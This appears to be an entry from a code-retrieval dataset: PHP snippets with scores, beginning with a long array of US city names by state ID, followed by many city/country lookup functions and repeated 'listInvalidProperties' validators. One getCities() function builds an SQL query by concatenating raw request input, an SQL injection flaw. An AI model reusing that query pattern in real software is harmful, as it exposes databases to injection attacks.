'3956', 'name' => 'oneida'],\n ['state_id' => '3956', 'name' => 'oneonta'],\n ['state_id' => '3956', 'name' => 'onondaga'],\n ['state_id' => '3956', 'name' => 'ontario'],\n ['state_id' => '3956', 'name' => 'orangetown'],\n ['state_id' => '3956', 'name' => 'orchard park'],\n ['state_id' => '3956', 'name' => 'ossining'],\n ['state_id' => '3956', 'name' => 'oswego'],\n ['state_id' => '3956', 'name' => 'owego'],\n ['state_id' => '3956', 'name' => 'oyster bay'],\n ['state_id' => '3956', 'name' => 'parma'],\n ['state_id' => '3956', 'name' => 'patchogue'],\n ['state_id' => '3956', 'name' => 'patterson'],\n ['state_id' => '3956', 'name' => 'peekskill'],\n ['state_id' => '3956', 'name' => 'pelham'],\n ['state_id' => '3956', 'name' => 'penfield'],\n ['state_id' => '3956', 'name' => 'perinton'],\n ['state_id' => '3956', 'name' => 'philipstown'],\n ['state_id' => '3956', 'name' => 'pittsford'],\n ['state_id' => '3956', 'name' => 'plattekill'],\n ['state_id' => '3956', 'name' => 'plattsburgh'],\n ['state_id' => '3956', 'name' => 'pleasant valley'],\n ['state_id' => '3956', 'name' => 'pleasantville'],\n ['state_id' => '3956', 'name' => 'pomfret'],\n ['state_id' => '3956', 'name' => 'port chester'],\n ['state_id' => '3956', 'name' => 'port jefferson'],\n ['state_id' => '3956', 'name' => 'port jervis'],\n ['state_id' => '3956', 'name' => 'potsdam'],\n ['state_id' => '3956', 'name' => 'poughkeepsie'],\n ['state_id' => '3956', 'name' => 'putnam valley'],\n ['state_id' => '3956', 'name' => 'queensbury'],\n ['state_id' => '3956', 'name' => 'ramapo'],\n ['state_id' => '3956', 'name' => 'red hook'],\n ['state_id' => '3956', 'name' => 'rensselaer'],\n ['state_id' => '3956', 'name' => 'riverhead'],\n ['state_id' => '3956', 'name' => 'rochester'],\n ['state_id' => '3956', 'name' => 'rockville centre'],\n ['state_id' => '3956', 'name' => 'rome'],\n ['state_id' => '3956', 'name' => 'rotterdam'],\n ['state_id' => '3956', 'name' => 'rye'],\n ['state_id' => '3956', 'name' => 'rye brook'],\n ['state_id' => '3956', 'name' => 'salamanca'],\n ['state_id' => '3956', 'name' => 'salina'],\n ['state_id' => '3956', 'name' => 'saratoga springs'],\n ['state_id' => '3956', 'name' => 'saugerties'],\n ['state_id' => '3956', 'name' => 'scarsdale'],\n ['state_id' => '3956', 'name' => 'schenectady'],\n ['state_id' => '3956', 'name' => 'schodack'],\n ['state_id' => '3956', 'name' => 'scotia'],\n ['state_id' => '3956', 'name' => 'seneca falls'],\n ['state_id' => '3956', 'name' => 'shawangunk'],\n ['state_id' => '3956', 'name' => 'sherrill'],\n ['state_id' => '3956', 'name' => 'sleepy hollow'],\n ['state_id' => '3956', 'name' => 'smithtown'],\n ['state_id' => '3956', 'name' => 'somers'],\n ['state_id' => '3956', 'name' => 'southampton'],\n ['state_id' => '3956', 'name' => 'southeast'],\n ['state_id' => '3956', 'name' => 'southold'],\n ['state_id' => '3956', 'name' => 'southport'],\n ['state_id' => '3956', 'name' => 'spring valley'],\n ['state_id' => '3956', 'name' => 'stony point'],\n ['state_id' => '3956', 'name' => 'suffern'],\n ['state_id' => '3956', 'name' => 'sullivan'],\n ['state_id' => '3956', 'name' => 'sweden'],\n ['state_id' => '3956', 'name' => 'syracuse'],\n ['state_id' => '3956', 'name' => 'tarrytown'],\n ['state_id' => '3956', 'name' => 'thompson'],\n ['state_id' => '3956', 'name' => 'tonawanda'],\n ['state_id' => '3956', 'name' => 'troy'],\n ['state_id' => '3956', 'name' => 'ulster'],\n ['state_id' => '3956', 'name' => 'union'],\n ['state_id' => '3956', 'name' => 'utica'],\n ['state_id' => '3956', 'name' => 'valley stream'],\n ['state_id' => '3956', 'name' => 'van buren'],\n ['state_id' => '3956', 'name' => 'vestal'],\n ['state_id' => '3956', 'name' => 'victor'],\n ['state_id' => '3956', 'name' => 'walden'],\n ['state_id' => '3956', 'name' => 'wallkill'],\n ['state_id' => '3956', 'name' => 'walworth'],\n ['state_id' => '3956', 'name' => 'wappinger'],\n ['state_id' => '3956', 'name' => 'warwick'],\n ['state_id' => '3956', 'name' => 'watertown'],\n ['state_id' => '3956', 'name' => 'watervliet'],\n ['state_id' => '3956', 'name' => 'wawarsing'],\n ['state_id' => '3956', 'name' => 'webster'],\n ['state_id' => '3956', 'name' => 'west haverstraw'],\n ['state_id' => '3956', 'name' => 'west seneca'],\n ['state_id' => '3956', 'name' => 'westbury'],\n ['state_id' => '3956', 'name' => 'wheatfield'],\n ['state_id' => '3956', 'name' => 'white plains'],\n ['state_id' => '3956', 'name' => 'whitestown'],\n ['state_id' => '3956', 'name' => 'williston park'],\n ['state_id' => '3956', 'name' => 'wilton'],\n ['state_id' => '3956', 'name' => 'woodbury'],\n ['state_id' => '3956', 'name' => 'yonkers'],\n ['state_id' => '3956', 'name' => 'yorktown'],\n ['state_id' => '3957', 'name' => 'charlotte'],\n ['state_id' => '3957', 'name' => 'raleigh'],\n ['state_id' => '3957', 'name' => 'greensboro'],\n ['state_id' => '3957', 'name' => 'durham'],\n ['state_id' => '3957', 'name' => 'winston-salem'],\n ['state_id' => '3957', 'name' => 'fayetteville'],\n ['state_id' => '3957', 'name' => 'cary'],\n ['state_id' => '3957', 'name' => 'wilmington'],\n ['state_id' => '3957', 'name' => 'high point'],\n ['state_id' => '3957', 'name' => 'greenville'],\n ['state_id' => '3957', 'name' => 'asheville'],\n ['state_id' => '3957', 'name' => 'concord'],\n ['state_id' => '3957', 'name' => 'gastonia'],\n ['state_id' => '3957', 'name' => 'jacksonville'],\n ['state_id' => '3957', 'name' => 'chapel hill'],\n ['state_id' => '3957', 'name' => 'rocky mount'],\n ['state_id' => '3957', 'name' => 'burlington'],\n ['state_id' => '3957', 'name' => 'huntersville'],\n ['state_id' => '3957', 'name' => 'wilson'],\n ['state_id' => '3957', 'name' => 'kannapolis'],\n ['state_id' => '3957', 'name' => 'apex'],\n ['state_id' => '3957', 'name' => 'hickory'],\n ['state_id' => '3957', 'name' => 'wake forest'],\n ['state_id' => '3957', 'name' => 'indian trail'],\n ['state_id' => '3957', 'name' => 'goldsboro'],\n ['state_id' => '3957', 'name' => 'mooresville'],\n ['state_id' => '3957', 'name' => 'monroe'],\n ['state_id' => '3957', 'name' => 'salisbury'],\n ['state_id' => '3957', 'name' => 'new bern'],\n ['state_id' => '3957', 'name' => 'holly springs'],\n ['state_id' => '3957', 'name' => 'matthews'],\n ['state_id' => '3957', 'name' => 'sanford'],\n ['state_id' => '3957', 'name' => 'garner'],\n ['state_id' => '3957', 'name' => 'cornelius'],\n ['state_id' => '3957', 'name' => 'thomasville'],\n ['state_id' => '3957', 'name' => 'asheboro'],\n ['state_id' => '3957', 'name' => 'statesville'],\n ['state_id' => '3957', 'name' => 'mint hill'],\n ['state_id' => '3957', 'name' => 'kernersville'],\n ['state_id' => '3957', 'name' => 'morrisville'],\n ['state_id' => '3957', 'name' => 'fuquay-varina'],\n ['state_id' => '3957', 'name' => 'lumberton'],\n ['state_id' => '3957', 'name' => 'kinston'],\n ['state_id' => '3957', 'name' => 'carrboro'],\n ['state_id' => '3957', 'name' => 'havelock'],\n ['state_id' => '3957', 'name' => 'shelby'],\n ['state_id' => '3957', 'name' => 'clemmons'],\n ['state_id' => '3957', 'name' => 'lexington'],\n ['state_id' => '3957', 'name' => 'clayton'],\n ['state_id' => '3957', 'name' => 'boone'],\n ['state_id' => '3958', 'name' => 'fargo'],\n ['state_id' => '3958', 'name' => 'bismarck'],\n ['state_id' => '3958', 'name' => 'grand forks'],\n ['state_id' => '3958', 'name' => 'minot'],\n ['state_id' => '3958', 'name' => 'west fargo'],\n ['state_id' => '3958', 'name' => 'williston'],\n ['state_id' => '3958', 'name' => 'dickinson'],\n ['state_id' => '3958', 'name' => 'mandan'],\n ['state_id' => '3958', 'name' => 'jamestown'],\n ['state_id' => '3958', 'name' => 'wahpeton'],\n ['state_id' => '3958', 'name' => 'devils lake'],\n ['state_id' => '3958', 'name' => 'valley city'],\n ['state_id' => '3965', 'name' => 'providence'],\n ['state_id' => '3965', 'name' => 'warwick'],\n ['state_id' => '3965', 'name' => 'cranston'],\n ['state_id' => '3965', 'name' => 'pawtucket'],\n ['state_id' => '3965', 'name' => 'east providence'],\n ['state_id' => '3965', 'name' => 'woonsocket'],\n ['state_id' => '3965', 'name' => 'coventry'],\n ['state_id' => '3965', 'name' => 'cumberland'],\n ['state_id' => '3965', 'name' => 'north providence'],\n ['state_id' => '3965', 'name' => 'south kingstown'],\n ['state_id' => '3965', 'name' => 'west warwick'],\n ['state_id' => '3965', 'name' => 'johnston'],\n ['state_id' => '3965', 'name' => 'north kingstown'],\n ['state_id' => '3965', 'name' => 'newport'],\n ['state_id' => '3965', 'name' => 'bristol'],\n ['state_id' => '3965', 'name' => 'westerly'],\n ['state_id' => '3965', 'name' => 'smithfield'],\n ['state_id' => '3965', 'name' => 'lincoln'],\n ['state_id' => '3965', 'name' => 'central falls'],\n ['state_id' => '3965', 'name' => 'portsmouth'],\n ['state_id' => '3965', 'name' => 'barrington'],\n ['state_id' => '3965', 'name' => 'middletown'],\n ['state_id' => '3965', 'name' => 'burrillville'],\n ['state_id' => '3965', 'name' => 'narragansett'],\n ['state_id' => '3965', 'name' => 'tiverton'],\n ['state_id' => '3965', 'name' => 'east greenwich'],\n ['state_id' => '3965', 'name' => 'north smithfield'],\n ['state_id' => '3965', 'name' => 'warren'],\n ['state_id' => '3965', 'name' => 'scituate'],\n ['state_id' => '3965', 'name' => 'glocester'],\n ['state_id' => '3965', 'name' => 'hopkinton'],\n ['state_id' => '3965', 'name' => 'charlestown'],\n ['state_id' => '3965', 'name' => 'richmond'],\n ['state_id' => '3966', 'name' => 'columbia'],\n ['state_id' => '3966', 'name' => 'charleston'],\n ['state_id' => '3966', 'name' => 'north charleston'],\n ['state_id' => '3966', 'name' => 'mount pleasant'],\n ['state_id' => '3966', 'name' => 'rock hill'],\n ['state_id' => '3966', 'name' => 'greenville'],\n ['state_id' => '3966', 'name' => 'summerville'],\n ['state_id' => '3966', 'name' => 'sumter'],\n ['state_id' => '3966', 'name' => 'hilton head island'],\n ['state_id' => '3966', 'name' => 'spartanburg'],\n ['state_id' => '3966', 'name' => 'florence'],\n ['state_id' => '3966', 'name' => 'goose creek'],\n ['state_id' => '3966', 'name' => 'aiken'],\n ['state_id' => '3966', 'name' => 'myrtle beach'],\n ['state_id' => '3966', 'name' => 'anderson'],\n ['state_id' => '3966', 'name' => 'greer'],\n ['state_id' => '3966', 'name' => 'mauldin'],\n ['state_id' => '3966', 'name' => 'greenwood'],\n ['state_id' => '3966', 'name' => 'north augusta'],\n ['state_id' => '3966', 'name' => 'easley'],\n ['state_id' => '3966', 'name' => 'simpsonville'],\n ['state_id' => '3966', 'name' => 'hanahan'],\n ['state_id' => '3966', 'name' => 'lexington'],\n ['state_id' => '3966', 'name' => 'conway'],\n ['state_id' => '3966', 'name' => 'west columbia'],\n ['state_id' => '3966', 'name' => 'north myrtle beach'],\n ['state_id' => '3966', 'name' => 'clemson'],\n ['state_id' => '3966', 'name' => 'orangeburg'],\n ['state_id' => '3966', 'name' => 'cayce'],\n ['state_id' => '3966', 'name' => 'bluffton'],\n ['state_id' => '3966', 'name' => 'beaufort'],\n ['state_id' => '3966', 'name' => 'gaffney'],\n ['state_id' => '3966', 'name' => 'irmo'],\n ['state_id' => '3966', 'name' => 'fort mill'],\n ['state_id' => '3966', 'name' => 'port royal'],\n ['state_id' => '3966', 'name' => 'forest acres'],\n ['state_id' => '3966', 'name' => 'newberry'],\n ['state_id' => '3967', 'name' => 'sioux falls'],\n ['state_id' => '3967', 'name' => 'rapid city'],\n ['state_id' => '3967', 'name' => 'aberdeen'],\n ['state_id' => '3967', 'name' => 'brookings'],\n ['state_id' => '3967', 'name' => 'watertown'],\n ['state_id' => '3967', 'name' => 'mitchell'],\n ['state_id' => '3967', 'name' => 'yankton'],\n ['state_id' => '3967', 'name' => 'pierre'],\n ['state_id' => '3967', 'name' => 'huron'],\n ['state_id' => '3967', 'name' => 'spearfish'],\n ['state_id' => '3967', 'name' => 'vermillion'],\n ['state_id' => '3967', 'name' => 'brandon'],\n ['state_id' => '3967', 'name' => 'box elder'],\n ['state_id' => '3967', 'name' => 'madison'],\n ['state_id' => '3967', 'name' => 'sturgis'],\n ['state_id' => '3967', 'name' => 'belle fourche'],\n ['state_id' => '3967', 'name' => 'harrisburg'],\n ['state_id' => '3976', 'name' => 'charleston'],\n ['state_id' => '3976', 'name' => 'huntington'],\n ['state_id' => '3976', 'name' => 'morgantown'],\n ['state_id' => '3976', 'name' => 'parkersburg'],\n ['state_id' => '3976', 'name' => 'wheeling'],\n ['state_id' => '3976', 'name' => 'weirton'],\n ['state_id' => '3976', 'name' => 'fairmont'],\n ['state_id' => '3976', 'name' => 'martinsburg'],\n ['state_id' => '3976', 'name' => 'beckley'],\n ['state_id' => '3976', 'name' => 'clarksburg'],\n ['state_id' => '3976', 'name' => 'south charleston'],\n ['state_id' => '3976', 'name' => 'st. albans'],\n ['state_id' => '3976', 'name' => 'vienna'],\n ['state_id' => '3976', 'name' => 'bluefield'],\n ['state_id' => '3976', 'name' => 'moundsville'],\n ['state_id' => '3976', 'name' => 'bridgeport'],\n ['state_id' => '3976', 'name' => 'oak hill'],\n ['state_id' => '3976', 'name' => 'dunbar'],\n ['state_id' => '3976', 'name' => 'elkins'],\n ['state_id' => '3976', 'name' => 'nitro'],\n ['state_id' => '3976', 'name' => 'hurricane'],\n ['state_id' => '3976', 'name' => 'princeton'],\n ['state_id' => '3976', 'name' => 'charles town'],\n ['state_id' => '3976', 'name' => 'buckhannon'],\n ['state_id' => '3976', 'name' => 'keyser'],\n ['state_id' => '3976', 'name' => 'new martinsville'],\n ['state_id' => '3976', 'name' => 'grafton'],\n ['state_id' => '3976', 'name' => 'ranson'],\n ['state_id' => '3976', 'name' => 'point pleasant'],\n ['state_id' => '3976', 'name' => 'westover'],\n ['state_id' => '3976', 'name' => 'weston'],\n ['state_id' => '3976', 'name' => 'lewisburg'],\n ['state_id' => '3976', 'name' => 'ravenswood'],\n ['state_id' => '3976', 'name' => 'summersville']\n ];\n }", "title": "" }, { "docid": "be3f0e28a130f186081754e5e2623328", "score": "0.6154134", "text": "function getCountry();", "title": "" }, { "docid": "9a037393a4744397fae3f0249f9f2fba", "score": "0.61538357", "text": "function getCity();", "title": "" }, { "docid": "b3780ea63188d9930f0775646c67394c", "score": "0.61487705", "text": "public function getCities($term='') {\n \t$cities = $this->client->getCityes($this->loginParam,100);\n \tif ($cities) {\n \t\treturn $cities;\n \t}\n \treturn [];\n }", "title": "" }, { "docid": "13e5b67c51e01c1597a26bcb58de701e", "score": "0.61447495", "text": "public function findAllCities() {\n $query = \"select * from CITIES\";\n $vector = array();\n $rows = $this->dbConnect->execution($query, $vector); //és un vector amb les línies i sense format\n\n return $rows->fetchAll(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "6ac694782d8507cbb6a7a291267e42de", "score": "0.61446387", "text": "public function getCities()\n\t{\n\t\treturn $this->hasOne(Cities::class, ['id' => 'city_id']);\n\t}", "title": "" }, { "docid": "56129a6c41c3d6886ecd4704fc67320b", "score": "0.61429036", "text": "public function cities()\n\t{\n\t\treturn $this->hasMany('Disaster\\DisasterLib\\Models\\City');\n\t}", "title": "" }, { "docid": "141731029eeccc4a651be3046a59608f", "score": "0.6137554", "text": "public function getCity($ip)\n {\n return $this->get($ip, 'city');\n }", "title": "" }, { "docid": "c84b806e885529743f5b41c9fa5b35ff", "score": "0.61090255", "text": "private function _get_cities()\n\t{\n\t\t$cities = ORM::factory('city')->orderby('city', 'asc')->find_all();\n\t\t$city_select = array('' => Kohana::lang('ui_main.alerts_select_city'));\n\n\t\tforeach ($cities as $city)\n\t\t{\n\t\t\t$city_select[$city->city_lon.\",\".$city->city_lat] = $city->city;\n\t\t}\n\t\treturn $city_select;\n\t}", "title": "" }, { "docid": "85a41e02a55a7ec8fcc81c8319ae1d51", "score": "0.6105478", "text": "public function getCities()\n {\n $data = json_decode(file_get_contents(\"php://input\"));\n $province = $data->{'province'};\n $query = $this->db->query(\"select cities.id, cities.city from cities, provinces where provinces.provinceid=cities.provinceid and provinces.province='\".$province.\"'\");\n $result = $query->result();\n if(count($result)>0){\n echo json_encode(array('status' => true, 'result'=>$result), 200);\n } else {\n echo json_encode(array('status' => false), 200);\n }\n }", "title": "" }, { "docid": "5cd16dda559a62d68269e1fb8a98cd11", "score": "0.6079758", "text": "public function searchCountry()\n\t{\n $geoSearchUrl=$this->getGeoSearchUrl() ;\n $artistListResult=$this->getApiResult($geoSearchUrl);\n return $artistListResult;\n\t}", "title": "" }, { "docid": "180978343378c97240de7a46e8b41df8", "score": "0.6076181", "text": "function allCountrys()\n\t{\n\t\tglobal $db;\n\t\t$query = $sql = \"Select * FROM regions_cou ORDER BY country_cou DESC\";\n\n\t $result = $db->query($query);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "3cf9faa32f89491d4c9abb976d8854c8", "score": "0.60606754", "text": "public function cities()\n\t{\n\t\treturn $this->hasMany('City', 'state_id');\n\t}", "title": "" }, { "docid": "bd887212115e7b4e885dff44d45c7b3b", "score": "0.6059541", "text": "private function getCountries() {\n\t\t$countryMapper = new Model_CountryMapper();\n\t\treturn $countryMapper->findAllName();\n\t}", "title": "" }, { "docid": "d5975ec0e9548f986a8292a23e9cfd75", "score": "0.60586566", "text": "public function getCountries()\n {\n $method = \"GetCountries\";\n\n $countries = $this->makeCall($method, []);\n\n if ($countries) {\n $_countries = [];\n foreach ($countries as $c) {\n $_countries[] = $c->Country;\n }\n return $_countries;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "28d08a64f44765c9111e7ca4703dfcbe", "score": "0.60494196", "text": "public function getCountryCodes();", "title": "" }, { "docid": "76e855cee78115f74d72190624dbdadd", "score": "0.6040348", "text": "public function cities()\n {\n return $this->hasMany(City::class);\n }", "title": "" }, { "docid": "1d697e00e8234034b84388823877dcf7", "score": "0.6038897", "text": "public static function countriesList()\n\t{\n\t\tself::checkRepository();\n\n\t\treturn self::$countries_repository;\n\t}", "title": "" }, { "docid": "2d17889af2c372d83df4c5da67be1b19", "score": "0.60376495", "text": "function get_array_of_cities() {\n $cities_elq = City::all();\n $cities_array = array();\n\n foreach($cities_elq as $city_elq)\n {\n $cities_array[$city_elq->id] = $city_elq->city_name;\n }\n\n return $cities_array;\n }", "title": "" }, { "docid": "df08a11a10cf3c7642cef958a17ded4a", "score": "0.6030175", "text": "public function getCountries()\n\t{\n\t\treturn Controllers\\CountriesController::getInstance();\n\t}", "title": "" }, { "docid": "d429b0b78149d367474beb3b7de0e2f7", "score": "0.6027146", "text": "public function country();", "title": "" }, { "docid": "d429b0b78149d367474beb3b7de0e2f7", "score": "0.6027146", "text": "public function country();", "title": "" } ]
ea77fbd12cc2433ff48f275775768d4c
Show all the invalid properties with reasons.
[ { "docid": "84c0ba7e417e4519c8e5b8d062810066", "score": "0.0", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n if ($this->container['domainName'] === null) {\r\n $invalidProperties[] = \"'domainName' can't be null\";\r\n }\r\n if ($this->container['httpsSwitch'] === null) {\r\n $invalidProperties[] = \"'httpsSwitch' can't be null\";\r\n }\r\n return $invalidProperties;\r\n }", "title": "" } ]
[ { "docid": "7fed39667d839c08102ac22f697eafc2", "score": "0.7954126", "text": "public function listInvalidProperties();", "title": "" }, { "docid": "7fed39667d839c08102ac22f697eafc2", "score": "0.7954126", "text": "public function listInvalidProperties();", "title": "" }, { "docid": "7fed39667d839c08102ac22f697eafc2", "score": "0.7954126", "text": "public function listInvalidProperties();", "title": "" }, { "docid": "7fed39667d839c08102ac22f697eafc2", "score": "0.7954126", "text": "public function listInvalidProperties();", "title": "" }, { "docid": "7fed39667d839c08102ac22f697eafc2", "score": "0.7954126", "text": "public function listInvalidProperties();", "title": "" }, { "docid": "7fed39667d839c08102ac22f697eafc2", "score": "0.7954126", "text": "public function listInvalidProperties();", "title": "" }, { "docid": "7fed39667d839c08102ac22f697eafc2", "score": "0.7954126", "text": "public function listInvalidProperties();", "title": "" }, { "docid": "8bffc3ffe4ddeb386251df2489dd7c4b", "score": "0.780055", "text": "public function listInvalidProperties()\n {\n $invalid_properties = array();\n return $invalid_properties;\n }", "title": "" }, { "docid": "8bffc3ffe4ddeb386251df2489dd7c4b", "score": "0.780055", "text": "public function listInvalidProperties()\n {\n $invalid_properties = array();\n return $invalid_properties;\n }", "title": "" }, { "docid": "8bffc3ffe4ddeb386251df2489dd7c4b", "score": "0.780055", "text": "public function listInvalidProperties()\n {\n $invalid_properties = array();\n return $invalid_properties;\n }", "title": "" }, { "docid": "8bffc3ffe4ddeb386251df2489dd7c4b", "score": "0.780055", "text": "public function listInvalidProperties()\n {\n $invalid_properties = array();\n return $invalid_properties;\n }", "title": "" }, { "docid": "8bffc3ffe4ddeb386251df2489dd7c4b", "score": "0.780055", "text": "public function listInvalidProperties()\n {\n $invalid_properties = array();\n return $invalid_properties;\n }", "title": "" }, { "docid": "8bffc3ffe4ddeb386251df2489dd7c4b", "score": "0.780055", "text": "public function listInvalidProperties()\n {\n $invalid_properties = array();\n return $invalid_properties;\n }", "title": "" }, { "docid": "343c14a564bb2e864d93e5dd24bdf2ce", "score": "0.7781625", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n return $invalid_properties;\n }", "title": "" }, { "docid": "343c14a564bb2e864d93e5dd24bdf2ce", "score": "0.7781625", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n return $invalid_properties;\n }", "title": "" }, { "docid": "343c14a564bb2e864d93e5dd24bdf2ce", "score": "0.7781625", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n return $invalid_properties;\n }", "title": "" }, { "docid": "343c14a564bb2e864d93e5dd24bdf2ce", "score": "0.7781625", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n return $invalid_properties;\n }", "title": "" }, { "docid": "d7aeff97ef9e55272649fd9d7fb5bee5", "score": "0.77678627", "text": "public function listInvalidProperties()\r\n {\r\n $invalid_properties = [];\r\n return $invalid_properties;\r\n }", "title": "" }, { "docid": "701abdd9f96795f775c013d6e3e9c053", "score": "0.77577174", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "701abdd9f96795f775c013d6e3e9c053", "score": "0.77577174", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "701abdd9f96795f775c013d6e3e9c053", "score": "0.77577174", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "701abdd9f96795f775c013d6e3e9c053", "score": "0.77577174", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "701abdd9f96795f775c013d6e3e9c053", "score": "0.77577174", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "42189e358727dc2b01e72f1b24898542", "score": "0.77358544", "text": "public function listInvalidProperties()\n {\n $invalid_properties = [];\n\n return $invalid_properties;\n }", "title": "" }, { "docid": "fa816c970ec7b45f61335c573e843cda", "score": "0.77224", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n $allowedValues = $this->getBusinessAreaAllowableValues();\n if (!is_null($this->container['business_area']) && !in_array($this->container['business_area'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'business_area', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getExperienceAllowableValues();\n if (!is_null($this->container['experience']) && !in_array($this->container['experience'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'experience', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getScheduleAllowableValues();\n if (!is_null($this->container['schedule']) && !in_array($this->container['schedule'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'schedule', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "16d8f06e731e0eeb0ba8d1ad8958b21f", "score": "0.7700935", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n $allowedValues = $this->getSummaryStatusAllowableValues();\n if (!is_null($this->container['summary_status']) && !in_array($this->container['summary_status'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'summary_status', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getStatusAllowableValues();\n if (!is_null($this->container['status']) && !in_array($this->container['status'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'status', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "40831014ca18a9470e0bf127fc0c5a5c", "score": "0.77002573", "text": "public function listInvalidProperties()\n {\n $invalidProperties = parent::listInvalidProperties();\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "40831014ca18a9470e0bf127fc0c5a5c", "score": "0.77002573", "text": "public function listInvalidProperties()\n {\n $invalidProperties = parent::listInvalidProperties();\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "40831014ca18a9470e0bf127fc0c5a5c", "score": "0.77002573", "text": "public function listInvalidProperties()\n {\n $invalidProperties = parent::listInvalidProperties();\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "40831014ca18a9470e0bf127fc0c5a5c", "score": "0.77002573", "text": "public function listInvalidProperties()\n {\n $invalidProperties = parent::listInvalidProperties();\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "40831014ca18a9470e0bf127fc0c5a5c", "score": "0.77002573", "text": "public function listInvalidProperties()\n {\n $invalidProperties = parent::listInvalidProperties();\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "40831014ca18a9470e0bf127fc0c5a5c", "score": "0.77002573", "text": "public function listInvalidProperties()\n {\n $invalidProperties = parent::listInvalidProperties();\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "26b4f8efeedc1569965437a843ce8a8b", "score": "0.76808697", "text": "public function listInvalidProperties()\n\t{\n\t\t$invalid_properties = [];\n\n\t\tif ($this->container['code'] === null) {\n\t\t\t$invalid_properties[] = \"'code' can't be null\";\n\t\t}\n\t\t$allowed_values = $this->getCodeAllowableValues();\n\t\tif (!in_array($this->container['code'], $allowed_values)) {\n\t\t\t$invalid_properties[] = sprintf(\n\t\t\t\t\"invalid value for 'code', must be one of '%s'\",\n\t\t\t\timplode(\"', '\", $allowed_values)\n\t\t\t);\n\t\t}\n\n\t\tif ($this->container['message'] === null) {\n\t\t\t$invalid_properties[] = \"'message' can't be null\";\n\t\t}\n\t\treturn $invalid_properties;\n\t}", "title": "" }, { "docid": "2cf7322da52a9151e1601961f631cd34", "score": "0.7670965", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n $allowedValues = $this->getTranTypeAllowableValues();\n if (!is_null($this->container['tran_type']) && !in_array($this->container['tran_type'], 